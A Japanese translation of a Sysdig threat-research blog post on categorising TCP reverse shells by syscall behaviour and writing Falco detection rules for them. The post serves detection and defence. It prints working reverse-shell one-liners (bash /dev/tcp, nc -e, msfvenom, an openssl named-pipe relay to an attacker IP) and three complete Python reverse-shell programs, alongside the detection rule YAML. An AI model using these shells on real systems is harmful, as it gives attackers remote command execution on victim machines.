< back to blog

リバースシェルのハンティング:Sysdig 脅威リサーチチームはどのようにしてより賢い検知ルールを構築しているのか

清水 孝郎
リバースシェルのハンティング:Sysdig 脅威リサーチチームはどのようにしてより賢い検知ルールを構築しているのか
Published by:
清水 孝郎
@
リバースシェルのハンティング:Sysdig 脅威リサーチチームはどのようにしてより賢い検知ルールを構築しているのか
Published:
November 13, 2025
シスディグによるファルコフィード

Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

さらに詳しく

本文の内容は、2025年11月13日に Alberto Pellitteri ,Lorenzo Susiniが投稿したブログ(https://www.sysdig.com/blog/hunting-reverse-shells-how-the-sysdig-threat-research-team-builds-smarter-detection-rules)を元に日本語に翻訳・再構成した内容となっております。

Sysdig 脅威リサーチチーム(TRT)は、攻撃者の戦術や手法を継続的に分析し、その洞察を Sysdig の顧客やオープンソースの Falco ユーザー向けの効果的な検知ルールへと変換しています。本ブログでは、初期の発見から本番環境で利用可能な検知の完成まで、新しい検知を作成するための私たちのプロセスを紹介します。

私たちのルールは、誤検知を最小限に抑えつつ、攻撃を示す可能性のある不審なアクティビティを拾い上げられるよう、十分に広い範囲をカバーするというバランスを取っています。実際の攻撃者がよく用いる一般的な手法であるリバースシェルを例に、複数のリバースシェルタイプの構造を分解し、従来の検知手法の限界を確認し、どのように効果的なルールを開発しているかを示します。

リバースシェルとは

リバースシェルは、主に攻撃者がターゲットシステムを制御してコマンドを実行するために使用するリモートアクセスツールです。これを「リバース」と呼んでいるのは、従来のリモートアクセス方法とは異なり、侵害を受けたマシンが攻撃者のシステムへの接続を開始するのであって、その逆ではないからです。

このアプローチは、ファイアウォールやネットワーク構成が着信接続をブロックしている場合に攻撃者にとって便利です。たとえば、内部サーバーは多くの場合、外部システムが直接接続を確立できないようにするファイアウォールで保護されています。ただし、これらのサーバーは通常、ソフトウェアの更新やその他の正当な目的でアウトバウンド接続を開始することが許可されています。リバースシェルは、この抜け穴を利用して、侵害されたマシンに攻撃者のマシンへの接続を開始させ、このような制限を効果的に回避します。

よく知られたリバースシェルコマンドの例を以下に示します。これらの一般的な Web シェルは軽量で信頼性が高く、Bash、Netcat、あるいは Metasploit が提供する高度なツールを使用して容易に生成できます。

# bash
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

# netcat
nc -e /bin/sh 10.0.0.1 4242

# msfvenom
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

大まかに言えば、リバースシェルを実行する際、攻撃者は自分のマシン上にリスナーを設定し、着信接続を待ち受けます。ターゲットシステムが接続すると、攻撃者は被害者マシン上のコマンドラインインターフェース(CLI)を取得し、任意のコマンドの実行、ファイルシステムの探索、あるいはネットワーク内の他の部分への水平移動が可能になります。

リバースシェルは MITRE ATT&CK の戦術「Execution(TA0002)」に分類され、組織にとって最も懸念される脅威のひとつです。そのため、意味のある実用的な検知を提供するために、私たちはその挙動について広範な調査を行っています。

しかし、すべてのリバースシェル実行が同じというわけではありません。最大の違いは、被害者マシンと攻撃者マシンを接続する際に使用されるプロトコルであり、TCP、UDP、ICMP などが存在します。本記事では TCP ベースの接続プロトコルにのみ焦点を当てます。

さらに、リバースシェルには他にも低レベルの実装上の主要な違いがあり、たとえば標準入力と標準出力をソケットへどのようにリダイレクトするか、悪意ある実行に関与するプロセス間通信の性質、呼び出されるシステムコールなどが挙げられます。

TCP リバースシェルのカテゴリ

リバースシェルを分類する際には、いくつかの要素を考慮します。

  • どのプロセスがリモート接続を作成するか
  • どのシステムコール(syscalls)が関与するか
  • ファイルディスクリプタ、STDIN、STDOUT、および/または STDERR がどのようにソケットへリダイレクトされるか
  • シェルプロセスが接続を処理するためにファイルディスクリプタをどのように使用するか
    • STDIN、STDOUT、または STDERR を通じて直接使用する
    • あるいは別の中間プロセスを利用し、pipe や socketpair といった異なる IPC メカニズムで通信しながら間接的に使用する

これらすべての要素により、複数のインタープリター言語やコンパイル言語で実装可能な、さまざまなリバースシェル技法を概説することができます。本記事では例として Python 実装を示します。この言語を選んだ理由は、そのシンプルさと、直接システムコールを呼び出すための便利なラッパーが提供されているためです。

リバースシェル技法の詳細に入る前に、まずはリバースシェルの構成要素と、Linux オペレーティングシステムが提供するシステムコールを紹介します。

リバースシェルの構造

リバースシェルの構成要素は次のとおりです。

  • 実行
  • リモート接続
  • 子プロセスの作成
  • ファイルディスクリプタの操作
  • プロセス間通信

実行

新しいプログラムを実行する必要がある場合、execve/execveat システムコールが呼び出されます。これらのシステムコールは、新しい実行ファイルをプロセスのメモリ空間に読み込み、呼び出し元のプロセスを新たに実行されるプロセスで置き換えます。このシステムコールは、リバースシェルを生成するコマンドを実行したとき、そして攻撃者のマシンからリモートで任意のコマンドが実行されるたびに使用されることになります。

リモート接続

被害者マシンを攻撃者が制御するマシンへ接続し、情報を送受信するための通信チャネルを確立することは極めて重要です。後者は、さまざまなプロトコルや技術を使用して実装できます。通常、Linux システムでは、リモート接続は少数のシステムコールによって処理されます。

  • socket:通信のエンドポイントを作成します(TCP プロトコルを使用)。
  • connect:ファイルディスクリプタ上のソケットで接続を開始するために使用できます。

子プロセスの作成

プロセスは、同時並行の処理を扱う、並行タスクを実行する、独立した実行フローを作成するなど、さまざまな理由で自身を fork または clone する必要が生じることがあります。この場合、次の 2 種類のシステムコールが呼び出されることがあります。

  • fork/vfork:親プロセスのコピーとして、まったく新しいプロセスを作成します。
  • clone/clone3:fork/vfork と似ていますが、親と共有する内容をより細かく制御でき、スレッド作成にも使用できます。

プロセス間通信 (IPC)

fork/clone の操作によって複数のプロセスが実行され、それらが互いに通信する必要がある場合、プロセス間通信チャネル(IPC)によってメッセージやデータなどを交換できます。リバースシェルでは、自身を fork または clone した後、次のようなシステムコールを使って通信することが非常によくあります。

  • pipe/pipe2:親子関係など関連する 2 つのプロセス間で、一方向の通信チャネルを作成します。書き込み側から読み取り側へデータが渡されます。
  • socketpair:双方向通信チャネルを作成し、接続された 2 つのソケットのペアを生成します。両端が読み書き可能で、プロセス同士が関連していなくても利用できます。Node.js アプリケーションでよく使われ、マルチスレッド環境でも一般的です。

ファイルディスクリプタの操作

最後になりますが、リバースシェルのもうひとつの構成要素は、ファイルディスクリプタを標準入力(STDIN)、標準出力(STDOUT)、標準エラー(STDERR)へリダイレクトする仕組みです。リバースシェルでは、既存のファイルディスクリプタを複製し、接続ソケットやパイプ端を STDIN/STDOUT にリダイレクトすることが一般的です。STDERR のリダイレクトは必須ではありませんが、エラーメッセージや診断用のプロンプト出力など、攻撃者に重要な情報を提供するため、しばしば有用です。

既存のファイルディスクリプタを複製し、リダイレクトするためには、以下のシステムコールが使用できます。

  • dup:指定されたファイルディスクリプタを複製し、利用可能な最も小さい番号のファイルディスクリプタを取得します。
  • dup2/dup3:複製後に使用する新しいファイルディスクリプタを指定できます。多くの場合、新しい番号は 0/1/2(それぞれ stdin/stdout/stderr)になります。
  • fcntl:F_DUPFD を op 引数として使用することで、新しく割り当てられるファイルディスクリプタの最小値を指定し、既存のファイルディスクリプタを複製できます。

リバースシェルのシステムコールとビルディングブロックの概要

以下の表は、前述のシステムコールとビルディングブロックを、関連するドキュメント参照とともにまとめています。

Syscall

Building Block

Reference

execve/execveat

Execution

https://man7.org/linux/man-pages/man2/execve.2.html

connect

Remote connection

https://man7.org/linux/man-pages/man2/connect.2.html

socket

Remote connection

https://man7.org/linux/man-pages/man2/socket.2.html

fork/vfork/clone/clone3

Creating a child process

https://man7.org/linux/man-pages/man2/fork.2.html

pipe,pipe2

Interprocess communication 

(IPC)

https://man7.org/linux/man-pages/man2/pipe.2.html

socketpair

Interprocess communication (IPC)

https://man7.org/linux/man-pages/man2/socketpair.2.html

fcntl

File descriptor manipulation

https://man7.org/linux/man-pages/man2/fcntl.2.html

dup/dup2/dup3

File descriptor manipulation

https://man7.org/linux/man-pages/man2/dup.2.html

カテゴリ 1: ネットワークリダイレクト入出力による直接シェル実行

私たちが特定した最初の、そして最も単純なカテゴリのリバースシェルは、以下のコードスニペットに示されています。このスニペットは接続済みソケットを作成し、そのソケットのファイルディスクリプタを dup2 を用いて標準入力・標準出力・標準エラーへ複製します。その後、fcntl などで FD_CLOEXEC フラグが明示的に設定されていない限り、execve() 呼び出しによってファイルディスクリプタは実行後も開いたまま保持されるというデフォルト動作に依存しています。その結果、execve がプロセスのメモリを新しい実行ファイル(この場合はシェル)で置き換えても、STDIN と STDOUT は依然として接続された TCP ソケットにリンクされたままなので、ネットワーク越しに通常の読み書き操作を実行できます。

import os
import socket
import sys
import fcntl

def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))

    try:
        # Create a socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # Connect to the attacker's server
        sock.connect((SERVER_IP, SERVER_PORT))

        # Duplicate the socket to stdin, stdout, and stderr
        os.dup2(sock.fileno(), 0)  # stdin
        os.dup2(sock.fileno(), 1)  # stdout
        os.dup2(sock.fileno(), 2)  # stderr

        # Execute a shell
        os.execl("/bin/sh", "-i")

    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

多くの一般的なペイロードがこのリバースシェルカテゴリに該当します。たとえば、この参考資料に挙げられている bash TCPpythonphp の実行、そして linux/x86/shell/reverse_tcp や linux/x64/shell/reverse_tcp のような、メタスプロイトフレームワークで広く生成可能な標準的な非 meterpreter バイナリが含まれます。この手法は、侵害されたシステムと即座に対話するためにエクスプロイトで用いられることも一般的です。

このリバースシェルカテゴリは、Sysdig の Reverse Shell Detected ルールによって検知されます。

- macro: spawned_process
  condition: (evt.type in (execve, execveat) and evt.dir=< and evt.arg.res=0)

- list: shell_binaries
  items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]

- macro: shell_procs
  condition: proc.name in (shell_binaries)

- rule: Reverse Shell Detected
  desc: This rule detects the spawning of a reverse shell, which is a shell process with stdin and one of stdout or stderr file handles redirected to a network connection. This is a common technique used by attackers to gain remote access to a compromised system.
  condition: spawned_process and shell_procs and (proc.stdin.type in (ipv4, ipv6) and (proc.stdout.type in (ipv4, ipv6) or proc.stderr.type in (ipv4, ipv6))) and (proc.stdin.name = val(proc.stdout.name) or proc.stderr.name = val(proc.stdin.name)) and proc.stdin.name contains "->" and pname_exists and stdin_name_exists
  output: Reverse shell detected with process %proc.name and parent %proc.pname under user %user.name (proc.name=%proc.name proc.exepath=%proc.exepath proc.pname=%proc.pname proc.pexepath=%proc.pexepath proc.stdin.name=%proc.stdin.name proc.stdout.name=%proc.stdout.name proc.stderr.name=%proc.stderr.name gparent=%proc.aname[2] gexepath=%proc.aexepath[2] ggparent=%proc.aname[3] ggexepath=%proc.aexepath[3] gggparent=%proc.aname[4] gggexepath=%proc.aexepath[4] image=%container.image.repository:%container.image.tag proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline user=%user.name user.uid=%user.uid gcmdline=%proc.acmdline[2] ggcmdline=%proc.acmdline[3] user_loginuid=%user.loginuid container.id=%container.id container.name=%container.name)
  priority: CRITICAL
  tags: [falco_feed, host, container, MITRE, MITRE_TA0002_execution, MITRE_T1059_command_and_scripting_interpreter, MITRE_T1104_multi_stage_channels]

カテゴリ 2: 二次プロセスと IPC を使用した間接シェル実行

2 つ目のカテゴリの TCP リバースシェルでは、メインプロセスがネットワーク接続全体を処理し、子プロセスを使ってシェルを実行します。親と子の間の通信はさまざまな方法で実現できますが、一般的なツールでは無名パイプや socketpair に大きく依存しています。

以下のコードには、ファイルディスクリプタの種類(ファイルであっても接続済みソケットであっても)に関係なく、あるファイルディスクリプタから別のファイルディスクリプタへデータを転送するための関数が含まれています。Linux が同じ API でそれを実現させてくれることに感謝です!

main 関数では、通常の接続を確立した後、親プロセスは無限ループに入る前に、シェルを実行する子プロセスと通信できる状態であることを確認します。このループでは、親プロセスはどのファイルディスクリプタが読み取り可能かを監視します。つまり、ネットワークから受信したデータをパイプの書き込み側を通じて子プロセスのシェルへ送信するか、あるいは子プロセスのシェルが出力したコマンド結果を読み取り、それをソケットへ転送するかを判断します。

import os
import sys
import socket
import select

def forward_data(src_fd, dst_fd):
    try:
        data = os.read(src_fd, 1024)
        if data:
            os.write(dst_fd, data)
        else:
            # No data means the other end has closed the connection
            return False
    except OSError as e:
        print(f"Error while forwarding data: {e}")
        sys.exit(1)
    return True

def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))

    try:
        # Create a socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # Connect to the attacker's server
        sock.connect((SERVER_IP, SERVER_PORT))

        # Create two pipes for bidirectional communication
        parent_to_child, child_to_parent = os.pipe(), os.pipe()

        # Fork the process
        pid = os.fork()
        if pid == 0:
            # Child process
            os.close(parent_to_child[1])  # Close the write end of parent-to-child pipe
            os.close(child_to_parent[0])  # Close the read end of child-to-parent pipe

            # Redirect stdin, stdout, and stderr to the pipes
            os.dup2(parent_to_child[0], sys.stdin.fileno())
            os.dup2(child_to_parent[1], sys.stdout.fileno())
            os.dup2(child_to_parent[1], sys.stderr.fileno())

            # Close the duplicated file descriptors
            os.close(parent_to_child[0])
            os.close(child_to_parent[1])

            # Execute a shell
            os.execl("/bin/sh", "-i")
        else:
            # Parent process
            os.close(parent_to_child[0])  # Close the read end of parent-to-child pipe
            os.close(child_to_parent[1])  # Close the write end of child-to-parent pipe

            # Use select to multiplex between the socket and the pipes
            while True:
                rlist, _, _ = select.select([sock, child_to_parent[0]], [], [])
                for r in rlist:
                    if r == sock:
                        if not forward_data(sock.fileno(), parent_to_child[1]):
                            return
                    elif r == child_to_parent[0]:
                        if not forward_data(child_to_parent[0], sock.fileno()):
                            return

    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

双方向通信は、パイプの代わりに socketpair を使用することでも実現できます。たとえば、以下の行を使用すると、接続された UNIX ソケットのペアを作成できます。

# Create socketpair for bidirectional communication
socks = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)

msfvenom で生成できる Meterpreter バイナリGolang 実行ファイル、そして一部の Java 実行ファイルもこのカテゴリに属し、プロセス間通信にパイプを利用します。一方で、IPC チャネルを確立するための socketpair システムコールは、NodeJS アプリケーションによって利用されることが多いです。

一般的に、リバースシェルの実装では、接続を処理するプロセスとシェルを実行するプロセスが必要になります。これは Java や Ruby のようなコンパイル言語またはインタープリター言語で生成されるリバースシェルに頻繁に見られ、プロセスが自分自身を fork または clone した後、親子間通信を確立します。

しかし、このカテゴリのリバースシェルを実装する方法が親子間通信だけとは限りません。シェルやスクリプトの構造を利用し、2 つの兄弟プロセス(つまり、同じ親を持ち互いに通信するプロセス)を用いて同じ目的を達成することもできます。

一般的な例として、socat、telnet、nc、openssl などの多目的リレーツールや、名前付きパイプなど他の IPC 通信を利用する方法があります。以下の例のように、これらのバイナリは Living off the Land(LotL)攻撃でよく使用されます。

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER_IP>:<ATTACKER_PORT> > /tmp/s

上記の例では、攻撃者は mkfifo コマンドを使って名前付きパイプを作成します。名前付きパイプは従来の無名パイプと同様に動作しますが、ファイルシステム上にリンクを持つため、そのファイルを開く任意のプロセスが読み書き操作を行い、他のプロセスと通信できます。

openssl コマンドは攻撃者への接続を確立する役割を担い、受信したデータはすべて名前付きパイプへリダイレクトされます。名前付きパイプは対話型シェルの入力にも使用され、その出力およびエラーはネットワーク中継コマンドによって処理され、ループが完成します。

Sysdig は、このリバースシェルカテゴリを複数の標準ルールで検知することも可能であり、関係するシステムコールや IPC 抽象化に応じて、

「Reverse Shell Spawned From Binary Through Pipes」

「Reverse Shell Spawned From Interpreted or Compiled Program Through Pipes」

「Staged Meterpreter Reverse Shell」

などが含まれます。

カテゴリ 3: ネットワークリダイレクト入出力による直接コマンド実行

リバースシェルのこのカテゴリは、前のカテゴリの概念を拡張したものです。これは 2 次プロセスと IPC からシェルを生成しますが、シェルをまったく実行しないことでよりステルスを保ち、検知を回避しようとします。どうしてそんなことが可能なのでしょう?シェルの中核となる機能、つまり fork + exec を使って他のプログラムを実行する機能を似せたり、エミュレートしたりするという考え方です。

シェルをこの定義から切り離し、通常のシェルが実装する入出力 (I/O) リダイレクト、パイプ、変数、その他の組み込み関数を実装するためのロジックをすべて削除したとします。その場合は、以下のコードスニペットのようなものが残ります。

import os
import socket
import sys
import select

def execute_command(command, sock):
    """
    Executes a command directly using os.execlp and sends the output back through the socket.
    """
    try:
        # Create pipes for capturing the command's stdout and stderr
        stdout_pipe, stdout_fd = os.pipe()
        stderr_pipe, stderr_fd = os.pipe()

        pid = os.fork()
        if pid == 0:
            # Child process
            os.close(stdout_pipe)  # Close read-end of stdout pipe in child
            os.close(stderr_pipe)  # Close read-end of stderr pipe in child

            # Redirect stdout and stderr to the pipes
            os.dup2(stdout_fd, 1)  # Redirect stdout to the write end of stdout pipe
            os.dup2(stderr_fd, 2)  # Redirect stderr to the write end of stderr pipe

            # Parse the command into the program and its arguments
            args = command.split()
            if not args:
                os._exit(0)  # Exit if no command is given

            # Execute the command using os.execlp
            os.execlp(args[0], *args)
        else:
            # Parent process
            os.close(stdout_fd)  # Close write-end of stdout pipe in parent
            os.close(stderr_fd)  # Close write-end of stderr pipe in parent

            # Read and forward the output
            while True:
                # Use select to wait for data from either stdout or stderr
                rlist, _, _ = select.select([stdout_pipe, stderr_pipe], [], [])
                for ready_fd in rlist:
                    try:
                        data = os.read(ready_fd, 1024)
                        if not data:
                            return  # End of data
                        sock.sendall(data)
                    except OSError:
                        return  # Pipe closed or error occurred
    except Exception as e:
        sock.sendall(f"Error executing command: {e}\n".encode())

def main():
    # Read server IP and port from environment variables
    SERVER_IP = os.getenv("REVERSE_SHELL_SERVER", "127.0.0.1")
    SERVER_PORT = int(os.getenv("REVERSE_SHELL_PORT", "4444"))

    try:
        # Create a socket and connect to the attacker
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((SERVER_IP, SERVER_PORT))

        # Enter a loop to receive commands and execute them
        while True:
            sock.sendall(b"Shell> ")  # Prompt for the attacker
            command = sock.recv(1024).decode().strip()
            if not command:
                break
            if command.lower() in {"exit", "quit"}:
                break
            execute_command(command, sock)
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

ご覧のように、通常の接続はそのまま残っているので、execve の直後にコマンドを直接実行できます。これにより、execve はパイプを介して出力とエラー (もしあれば) を送り返すことができます。検知の観点から見ると、信頼できるシェルプロセスの異常な実行はないので、これは卑劣です。

このリバースシェルカテゴリの一般的な実装の 1 つは、以下に示すシェル実行です。シェルが暗黙的に関与しているのでこれはエッジケースと考えられますが、それでもネットワーク経由で読み込むと、コマンドが次々と生成されているのがわかります。

exec 5<>/dev/tcp/10.0.0.1/4242
cat <&5 | while read line; do $line 2>&5 >&5; done

これらのリバースシェル手法を検出するために、Sysdig は複数の検知ルールを使用しています。たとえば、

「Perl Remote Command Execution Detected」

「Reverse Shell Redirects STDIN/STDOUT To Socket With Pipes」

といったルールがあり、これらはすべての Sysdig 顧客環境でデフォルトで有効になっています。

検知機能の向上に関するストーリー

Sysdig TRTは、新しい脅威を特定するために継続的に検出結果を作成することに加えて、定期的に古い検知結果を見直して改善を行い、誤検出を減らしています。このセクションでは、そのプロセスを順を追って説明します。

始まった経緯

リバースシェルとは何か、どのように検出するのかを調べました。 過去の記事でここでは、直接シェル実行方法について説明しました。関連する Falcoルールの簡略化された条件は次のとおりです。

 dup and
   evt.rawres in (0, 1, 2) and
   fd.type in ("ipv4", "ipv6") 

このルールは、ネットワーク接続を STDIN、STDOUT、STDERR のファイルディスクリプタへリダイレクトしているプロセスを特定することに特化したものでした。しかし、当時の制約や理解に起因して、いくつかの重大な設計上の欠陥を含んでいました。

繰り返しトリガーされる問題

このルールは複数回トリガーされるように設計されていました。カテゴリ 1 で見たように、攻撃者はシェルがコマンドを受け取り、結果をリモートへ送信できるよう、少なくとも stdin と stdout をソケットへリダイレクトしたいと考えます。しかし、このルールは dup システムコールの結果としてファイルディスクリプタ 0、1、2 が得られ、かつ関与するファイルディスクリプタのタイプが ipv4 または ipv6 の場合に毎回 トリガーされます。

接続リダイレクトへの過度な依存

この検知は実際のシェルプロセスが実行されていることには依存できず、ファイルディスクリプタ 0、1、2 への接続リダイレクトのみに基づいていました。これは実際のシェル実行前に行われる処理であるため、シグナルがノイズになりやすく、他の無害なプロセスが標準ファイルディスクリプタをリモート接続へリダイレクトする場合にも検知してしまいます。

これら 2 つの設計上の欠陥により、接続リダイレクトに過度に依存していたことで複数の誤検知が発生し得ること、そしてさらに悪いことに、このルールの繰り返しトリガーされる性質によってアラートが増幅され得ることが明確になりました。

本質的に、Direct Shell Execution におけるリバースシェルの検知は非常に難しいものです。というのも、悪意ある挙動が微妙で、正当なアクティビティと容易に重なってしまうためです。初期のルールは、潜在的に不審なリダイレクトを検出しようとする有意義な試みではありましたが、良性と悪性のユースケースを区別するための文脈や精緻性が欠けていました。さらに、シェル実行への依存関係がないため、リダイレクトが後続の悪意あるシェルプロセスに結びつくことを明確に示すことができず、検知ロジックをより複雑にしていました。

これらを踏まえ、私たちはリバースシェル検知を洗練し、改善する取り組みを開始しました。

プロセスの STDIN、STDOUT、STDERR フィールドの登場

以前の検知ルールの制限を克服し、先に述べた他のカテゴリにもより適切に対処するために、私たちは新しいフィールドを実装しました。これらは現在 Falco でもサポートされています。

  • proc.stdin.type and proc.stdin.name.
  • proc.stdout.type and proc.stdout.name.  
  • proc.stderr.type and proc.stderr.name.  

これらのフィールドは、プロセスの STDIN、STDOUT、STDERR の種類および名前に一致させるために有用であり、システムコールの文脈において fd.type および fd.name が返すのと同じ値を返します。これらのシステムコールにより、特定のプロセスが攻撃者のマシンにバインドされたソケットへ直接結果を送信している場合や、別の兄弟/祖先プロセスに接続されたパイプ、またはより一般的な形態のプロセス間通信へ送信している場合に検知を行うことが可能になります。

この情報が fd ではなく procfield クラスカテゴリの一部として実装されると、ルールがどのシステムコールを対象にしているかに関わらず(dup アプローチとは対照的に)、プロセス自体の文脈情報として利用可能になります。そして、proc.stdin、proc.stdout、proc.stderr の詳細を組み合わせて、より優れた検知ルールを作成できるようになります。

Direct Shell Execution with Network-Redirected I/O(カテゴリ 1)で述べたようなリバースシェルが生成される場合、以下の例のようになります。

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

以下に示すように、プロセスのSTDINとSTDOUTのタイプと名前で起動されているbashシェルプロセスが表示されます。

{
  "%proc.stdin.type": "ipv4",
  "%proc.stdin.name": "127.0.0.1:35548->127.0.0.1:4242",
  "%proc.stdout.type": "ipv4",
  "%proc.stdout.name": "127.0.0.1:35548->127.0.0.1:4242"
}

この変更は、前述のオリジナルルールによってトリガーされていたアラートの数を減らすだけでなく、検知の関連性そのものも向上させます。これにより、リバースシェルを引き起こすプロセスの dup/dup2 システムコール呼び出しから、実際に生成されるリバースシェルの実行へと検知の焦点が移ることになります。

さらに、この変更は単により強力な検知メカニズムを構築するための手段であるだけでなく、パイプを介して 2 つのプロセスが通信するような他のカテゴリを検知するための基盤にもなります。このシナリオでは、proc.stdin や proc.stdout の種類を pipe に一致させることで検知することができます。

元のルールは、間接シェル実行(副次プロセスと IPC を利用するもの)や、ネットワークにリダイレクトされた I/O を利用した直接コマンド実行といった、より複雑なリバースシェルを検知するには不十分でした。これらのカテゴリには、新しい検知アプローチの採用が必要でした。

ルールの観測

2025 年、Sysdig は ステートフルなワークロード検知ルール を実現し、新しい Sysdig Runtime Behavioral Analytics ワークロードポリシー を導入しました。

Sysdig の観測(observation)検知機能についてのリファレンスはこちらにありますが、ここでは、それらをどのように活用して、副次プロセスと IPC を利用した間接シェル実行ネットワークリダイレクト I/O を伴う直接コマンド実行といった、より複雑なリバースシェルカテゴリを検知できるかを探っていきます。

前述のとおり、リバースシェルには複数のシステムコールが関与しており、どれも特定の構成要素に対応しています。プロセスが使用するこれらすべての技法やシステムコールを追跡することで、観測ルールは一連のアクションのグラフを描くことができ、これに一致した場合にセキュリティアラートを発火させます。観測ルールを使うことで、先ほど分類したリバースシェルカテゴリに見られるような、複数ステップで構成される攻撃パターンを検知できるようになります。

以下の例は、副次プロセスと IPC を用いた間接シェル実行によって起動されたリバースシェルを検知する方法を示しています。これは、まずバイナリを実行するプロセスから始まり、続いてリモートマシンへの外向き接続や、プロセス間通信のためのパイプ作成が行われます。その後、clone 操作、その他のファイルディスクリプタ操作が続き、最終的には 標準入力と標準出力の種類が pipe のシェルが実行 されます。

誤検知の可能性

先に述べた 3 種類のリバースシェルカテゴリを検知するために設計された、ステートフルおよびステートレスのすべてのルールは、正規のプロセスも前述の構成要素(実行、リモート接続、子プロセスの作成、ファイルディスクリプタ操作、プロセス間通信)を扱う可能性があるため、状況によっては誤検知を引き起こす場合があります。たとえば、VS Code のリモートターミナル、Windsurf、あるいは Cursor サーバーのようなツールは、いくつかの誤検知イベントを引き起こす可能性があります。

それでも、これらのルールにおける誤検知率は非常に低く、すべて Sysdig Runtime Threat Detection または Sysdig Runtime Behavioral Analytics のポリシーに関連付けられています。Sysdig TRT は、これら 2 つのポリシーを綿密に監視および検査し、関連するインジケータを積極的にホワイトリスト化することで、検知品質を高いレベルに維持しています。

まとめ

複数のリバースシェル手法を分解して検討することで、Sysdig TRT がどのように不審なアクティビティの主要な構成要素を特定し、従来の検知がどこで不十分であるかを分析し、精度が高く適応性のあるルールを開発しているかが分かりました。提示した例は、Sysdig および Falco の検知が継続的に進化していること、そして TRT が誤検知を最小限にしつつ有意義な脅威を捉えるという慎重なバランスをどのように実現しているかを示しています。こうした取り組みにより、Sysdig は変化するクラウド環境の中で、最新の攻撃手法から顧客やオープンソースユーザーを保護しています。

ここで紹介した内容ですべての既存手法を完全に網羅することは難しく(たとえば、プロセス間通信には他の手段も存在し得ることを私たちは認識しており、その点についても現在進行形で取り組んでいます)、本記事はその一部にすぎません。しかし、Sysdig の検知がどのように進化してきたか、新しい検知ツールの実装がどのように行われているか、そして Sysdig TRT が顧客にどのような価値を提供しているかを示すことを目的としています。

About the author

Threat Research
Cloud Security

セキュリティの専門家と一緒に、クラウド防御の最適な方法を探索しよう